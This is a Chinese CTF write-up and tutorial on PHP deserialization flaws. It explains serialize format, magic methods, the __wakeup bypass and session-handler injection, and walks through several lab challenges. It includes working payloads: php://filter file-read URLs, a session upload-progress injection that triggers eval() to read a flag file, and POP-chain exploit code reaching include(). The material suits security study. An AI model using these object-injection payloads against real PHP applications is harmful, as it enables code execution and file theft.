数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。
序列化和反序列化的目:使得程序间传输对象会更加方便
highlight_file(__FILE__);
class user
{
//变量
public $age = 0;
public $name = '';
//方法
public function print_data()
{
echo $this->name . ' is ' . $this->age. ' yaers old
';
}
}
//创建对象
$user = new user();
//赋值
$user->age = 16;
$user->name = 'caixukun';
//输出
$user->print_data();
//输出反序列化后的数据
echo serialize($user);
?>
序列化打印了如下数据
O:4:"user":2:{s:3:"age";i:16;s:4:"name";s:8:"caixukun";}
解释一下每个代表的意义
在对象前可以添加+可以绕过正则匹配 php7和php5有区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。
可参考安恒杯12月月赛解题报告
\x00 + 类名 + \x00 +变量名 反序列化出来的是private变量
\x00 + * + \x00 + 变量名 反序列化出来的是protected变量
直接变量名反序列化出来的是public变量
查看源代码发现是下图的图形,我们将其变为可读的字符
使用python的requests发送请求得到了
PHP中把以两个下划线__开头的方法称为魔术方法:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。
在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
__construct()
//当一个对象创建时被调用
__destruct()
//当一个对象销毁时被调用
__toString()
//当一个对象被当作一个字符串使用
__sleep()
//在对象在被序列化之前运行
__wakeup()
//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()
//获得一个类的成员变量时调用
__set()
//设置一个类的成员变量时调用
__invoke()
//调用函数的方式调用一个对象时的回应方法
__call()
//当调用一个对象中的不能用的方法的时候就会执行这个函数
这里直接上题看看
实验环境:bugku-welcome to the bugkuctf
由于bugku环境炸了,找了好久找到了师傅的源码,在此感谢,需要的链接如下:ctf中的一道反序列化题
查看源代码如下
这里可以传参,我们先对user传参:php://input
然后POST方式提交admin进行绕过,发现变为了hello admin!
接下来对file传伪协议读取class.php的源代码,base64解码即可
?user=php//input&file=php://filter/read=convert.base64-encode/resource=class.php
__toString,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据
接下来读取index.php
发现$pass = unserialize($pass); echo $pass;
会触发public function __toString()
如何反序列化就是关键,将class.php源码复制,加入代码如下:
$a = new Read();
$a->file='f1a9.php';
echo serialize($a);
用php运行后得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
使用文件包含,在class.php里对pass传参为序列化的结果
发现__toString was called! 成功得到flag
实验环境:bugku-flag.php
进入页面发现有一个登录框,但怎么输都没有显示,提示:hint
尝试后发现使用get方式传输hint=1
给出了源代码,当传入的cookie的反序列化为key时,得到flag,这里我一直认为key的值为:ISecer:www.isecer.com,查看了wp才发现,key的值为NULL,接下来构造序列化
echo serialize('');
?>
得到了s:0:'''';
传参即可,注意;
要转换为url编码
得到flag
Sec Bug #72663 Create an Unexpected Object and Don’t Invoke __wakeup() in Deserialization
PHP5 < 5.6.25,PHP7 < 7.0.10 时
当序列化字符串中,如果表示对象属性个数的值大于真实属性个数时就会跳过__wakeup的执行
Bug #71101 PHP Session Data Injection Vulnerability
PHP内置了多种处理器用于存取$_session数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize(php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
配置文件php.ini中含有这几个与session存储配置相关的配置项:
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。
题目地址:http://web.jarvisoj.com:32784/
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
题目给出了源码,可以读取phpinfo,发现可以使用session反序列化:
原文意思大致要求满足以下2个条件就会写入到session中:
由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
构造上传页面:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
form>
接下来进行序列化:
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
得到:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
接下来进行上传,抓包
为防止转义,在引号前加上\ 。利用前面的html页面随便上传一个东西,把filename改为如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面有一个|,这是session的格式。
接下来由phpinfo知道了路径,尝试读取
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
利用 phar 拓展 php 反序列化漏洞攻击面
可参考师傅文章:
四个实例递进php反序列化漏洞理解
对象注入(反序列化漏洞)
header("Content-type:text/html;charset=utf-8");
error_reporting(1);
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."
";
}
public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function Change()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}
if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index.php');
$show->_show();
}
审计代码可以发现:
解题顺序:通过反序列化覆盖变量$class1为new Read(); 覆盖变量$var为flag.php;$source是障眼法不用管;反序列化后访问$sid属性,将$sid赋值为__toString,于是就访问了不存在的属性触发了__get()方法;__get()内又获取了这个不存在的属性名__toString,将之作为方法调用,于是触发了__toString()方法;在__toString()内调用Read对象内的get_file()方法读取$var也就是flag.php的源代码,得到base64解码就是flag
构造序列化:
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source = "index.php";
public $var;
public $class1;
}
$y1ng = new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this->append($this->var);//7.然后会调用到这里
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
}
public function __wakeup(){//2.如果pop是个Show,那么调用这里
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;//5.触发到这里
return $function();//6.()会调用__invoke,我们这里选择Modifier对象
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.反序列调用这里
}
else{
$a=new Show;
highlight_file(__FILE__);
}
构造pop链:
调用__wakeup()->触发__tostring()->source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)
师傅exp代码如下:
class Modifier{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));